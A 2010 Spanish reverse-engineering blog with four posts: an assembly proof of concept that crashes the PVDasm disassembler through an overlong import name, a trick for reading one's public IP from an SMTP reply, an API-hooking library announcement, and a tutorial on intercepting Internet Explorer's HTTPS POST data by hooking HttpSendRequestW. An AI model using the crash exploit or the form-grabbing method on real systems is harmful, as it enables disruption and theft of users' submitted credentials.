domingo, 14 de febrero de 2010

[BUG DOS]PVDASM v1.7

http://pvdasm.reverse-engineering.net/index.php?Section=1

El bug ocurre por que el programa no reviza el largo de las funciones importadas por el exe por lo tanto si nosotros importamos una api de mayor largo que lo permitido el programa crachea sin oportunidad de anlizarlo :P

El error en si ocurre por un wsprintf a un buffer muy pequeño




Dejo una prueba de concepto ensamblada con FASM ( nota: el .exe se tiene que llamar bug2.exe ) :P

Código


aaaa equ MAX_PATH dup ('A')
include "win32ax.inc"
entry ini
.data
ini:

proc start
stdcall dword[MessageBox],0,"Hola",0,0
stdcall dword[ExitProcess],0
call dword[main]

endp
data import
xxitbeg:
ccbase = $400000 ; 4 M
dd 0,0,0, kernel_name - ccbase , kernel_table - ccbase
dd 0,0,0, user_name - ccbase , user_table - ccbase
dd 0,0,0, errormsg_name - ccbase , errormsg_table - ccbase
dd 0,0,0,0,0

kernel_name: db "kernel32.dll",0
kernel_table:
ExitProcess: dd _ExitProcess - ccbase
dd 0


_ExitProcess: db 0,0,"ExitProcess",0


user_name: db "user32.dll",0
user_table:
MessageBox: dd _MessageBox - ccbase
dd 0


_MessageBox: db 0,0,"MessageBoxA",0


errormsg_name: db "bug2.exe",0
errormsg_table:
main: dd _start - ccbase
dd 0


_start: db 0,0,aaaa,0


xxitend:

xxpadend:
end data
section '.edata' export data readable
export 'ERRORMSG.DLL',start,aaaa


section '.reloc' fixups data discardable

domingo, 7 de febrero de 2010

[Teoria]Obteniendo nuestra IP publica desde hotmail o gmail.

Muy comunmente nos encontramos con el problema de como obtener nuestra IP externa desde nuestro programa si el PC esta dentro de una LAN .

La solucion mas facil es pedirsela al servidor de SMTP de hotmail o gmail , pero como se la pedimos ? facil .

Primero nos conectamos por el puerto 25 al servidor SMTP de gmail(smtp.gmail.com) o hotmail(smtp.live.com) , luego de eso enviamos un paquete como sera este

EHLO mail-ww0-f47.google.com

y el servidor nos respondera con algo como

250-mx.google.com at your service, [200.xxx.xxx.xxx]

seguido de otros datos sin importancia para nuestro motivo

Como notaran entre los corchetes esta nuestra IP publica :P

martes, 2 de febrero de 2010

[Proyecto]HookAPIlIB


HookAPIlIB v1.0

Autor: Marco Almonacid Marchant
Version: 1.0
Blog : secmam.blogspot.com
Mail: malmonacidm@gmail.com


¿Que es HookAPIlIB ?

Es una libreria diseñada para Fasm para simplificar el api hook.


¿Cualquier duda o fallo donde lo report ?

Por favor enviarlas a malmonacidm@gmail.com

Megaupload



2shared

lunes, 1 de febrero de 2010

[Teoria]Capturar SSL POST del IE

¿De que se trata esto?

En este tutorial intentare explicar la teoria para capturar cualquier dato enviado por el metodo POST del protocolo HTTP(S) .


¿Pero esto no se consigue hookeando send y ya?

No , los datos enviados con SSL usan una encriptacion muy buena por lo tanto uno podria capturar el paquete mandado por send pero obtendrias un texto indesifrable.

¿Que necesito saber?


Con saber Api hook se vale :P

http://foro.elhacker.net/analisis_y_diseno_de_malware/taller_api_hooking_en_modo_usuario-t262962.0.html



¿Me dejarias de explicar cosas que ya se y empezarias ?

Si :xD



Usando el ollydbg y poniendole un BP( Breack Point ) en cada api ( Si fue un trabajo terrible ) descubri que por la api de la WININET.dll la HttpSendRequestW pasaban los datos enviados por POST tanto en HTTP como en HTTPS , como se ve en la siguiente imagen :




Nos vamos a la MSDN y en

http://msdn.microsoft.com/en-us/library/aa384247(VS.85).aspx


Vemos que las post siempre que vallan pasan por el cuarto parametro y el quinto indica el tamaño de estos datos.

Hookeamos la api como cualquier api y bla bla bla


El problema que yo tube en un comienzo es que el proceso iexplore.exe no tiene permisos para casi nada .

Luego de una dura investigacion se me ocurrio simular el sistema de coockies que usa el IE , eso me llevo a debuggear y eso me llevo hacia la api CreateUrlCacheEntryA de wininet.dll que es usada para crear el archivo de la coockie , para diferenciar las "coockies" mias con las reales ya que esta api permite ponerle la extensión al archivo ponerle a esta extensión "va" (pongo un ejemplo de la llamada)
Código
  llamar CreateUrlCacheEntryA,[p1],0,"va",addr Buffer,0



Luego de esa llamada la api devuelve en Buffer una ruta de un archivo que si es modificable por nosotros y ahi escribimos las cabezeras como lo hariamos normalmente :P


Fue un minitutorial de algo que aunque corto en tecnica fue una investigacion que me llevo dias :P

Saludos